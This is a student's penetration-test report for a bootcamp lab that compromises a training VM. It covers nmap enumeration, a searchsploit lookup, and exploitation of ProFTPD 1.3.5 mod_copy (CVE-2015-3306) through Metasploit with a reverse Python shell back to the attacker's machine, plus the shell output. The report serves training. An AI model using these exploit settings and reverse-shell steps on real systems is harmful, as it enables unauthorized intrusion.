Owasp x µLearn Bootcamp Task 4

Vulnerability Assessment Report: ERULNX16

Name: Ajay M Nambiar

Date: 30/09/2025

Platform: Kali Linux – Oracle VirtualBox

Target: ERULNX16 VM

Assessment Type: Vulnerability Assessment, Exploitation

Objective: The goal of this assessment was to perform a penetration test on the provided ERULNX16 virtual machine. The process involved identifying system vulnerabilities, exploiting them to gain remote access, and confirming the compromise.

Tools Used

- **Nmap**: A network mapper used for host discovery, port scanning, and service version detection.ss
- **Metasploit Framework**: An exploitation tool used to leverage the identified vulnerability and gain a reverse shell.
- **Searchsploit**: A command-line tool used to search for available exploits.

Methodology & Execution

1: Host Discovery

- Deployed the ERULNX16 VM and configured it in a host-only network.
- Identified the attacker's Kali Linux IP as ***192.168.18.94*** with ifconfig
- Used nmap -sP ping scan to discover active hosts on the network, identifying the target machine at IP ***192.168.18.95.***

2: Enumeration

- Performed a version scan (-sV) on the target to find open ports and running services.
- The scan revealed a ProFTPD service running on port 21.

- Navigating to the target's IP address on a browser showed an Apache web server with several directories, including chat/, drupal/, and phpmyadmin/.
- Research identified the running ProFTPD version as vulnerable to a remote code execution flaw (CVE-2015-3306) via its mod_copy module.

3: Exploitation

- Launched the Metasploit Framework console (msfconsole).
- Searched for and selected the exploit exploit/unix/ftp/proftpd_modcopy_exec.
- Configured the exploit options:
    - set RHOSTS 192.168.18.95
    - set LHOST 192.168.18.94
    - set SITEPATH /var/www/html
- Selected the cmd/unix/reverse_python payload to establish a reverse shell.

4: Gaining Access

- Executed the exploit using the

run command.

- The exploit successfully connected to the FTP server, uploaded a PHP payload, and triggered it.
- A reverse TCP handler on the attacker machine caught the incoming connection, opening a command shell session.

Results

- A command shell session was successfully opened on the target machine.
- Access was verified using the whoami command, which returned the user www-data.ls command listed the contents of the web directory, confirming successful compromise.

Screenshots

```
└─$ nmap -sV 192.168.18.95
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-30 00:17 IST
Nmap scan report for 192.168.18.95
Host is up (0.00093s latency).
Not shown: 991 filtered tcp ports (no-response)
PORT     STATE  SERVICE     VERSION
21/tcp   open   ftp         ProFTPD 1.3.5
22/tcp   open   ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp   open   http        Apache httpd 2.4.7
445/tcp  open   netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp  open   ipp         CUPS 1.7
3000/tcp closed ppp
3306/tcp open   mysql       MySQL (unauthorized)
8080/tcp open   http        Jetty 8.1.7.v20120910
8181/tcp closed intermapper
MAC Address: 08:00:27:F1:74:D3 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: 127.0.0.1, UBUNTU; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.25 seconds
```

```
└─$ nmap -sC 192.168.18.95
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-30 00:42 IST
Nmap scan report for 192.168.18.95
Host is up (0.00034s latency).
Not shown: 991 filtered tcp ports (no-response)
PORT     STATE  SERVICE
21/tcp   open   ftp
22/tcp   open   ssh
| ssh-hostkey:
|   1024 2b:2e:1f:a4:54:26:87:76:12:26:59:58:0d:da:3b:04 (DSA)
|   2048 c9:ac:70:ef:f8:de:8b:a3:a3:44:ab:3d:32:0a:5c:6a (RSA)
|   256 c0:49:cc:18:7b:27:a4:07:0d:2a:0d:bb:42:4c:36:17 (ECDSA)
|_  256 a0:76:f3:76:f8:f0:70:4d:09:ca:e1:10:fd:a9:cc:0a (ED25519)
80/tcp   open   http
|_http-title: Index of /
| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2020-10-29 19:37  chat/
| -     2011-07-27 20:17  drupal/
| 1.7K  2020-10-29 19:37  payroll_app.php
| -     2013-04-08 12:06  phpmyadmin/
|_
445/tcp  open   microsoft-ds
631/tcp  open   ipp
| http-robots.txt: 1 disallowed entry
|_/
| ssl-cert: Subject: commonName=ubuntu
| Not valid before: 2020-10-29T19:28:07
|_Not valid after:  2030-10-27T19:28:07
|_ssl-date: 2025-09-29T19:12:38+00:00; +9s from scanner time.
| http-methods:
|_  Potentially risky methods: PUT
|_http-title: Home - CUPS 1.7.2
3000/tcp closed ppp
3306/tcp open   mysql
8080/tcp open   http-proxy
|_http-title: Error 404 - Not Found
8181/tcp closed intermapper
MAC Address: 08:00:27:F1:74:D3 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Host script results:
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: ubuntu
|   NetBIOS computer name: UBUNTU\x00
|   Domain name: \x00
|   FQDN: ubuntu
|_  System time: 2025-09-29T19:12:26+00:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time:
|   date: 2025-09-29T19:12:23
|_  start_date: N/A
|_clock-skew: mean: 10s, deviation: 2s, median: 8s
```

```
┌──(spike㉿heir)-[~]
└─$ searchsploit ProFTPD 1.3.5
---------------------------------------------------------------------
 Exploit Title
---------------------------------------------------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)
ProFTPd 1.3.5 - File Copy
---------------------------------------------------------------------
```

```
whoami
www-data
uname -a
Linux ubuntu 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
ls
chat
drupal
payroll_app.php
phpmyadmin
```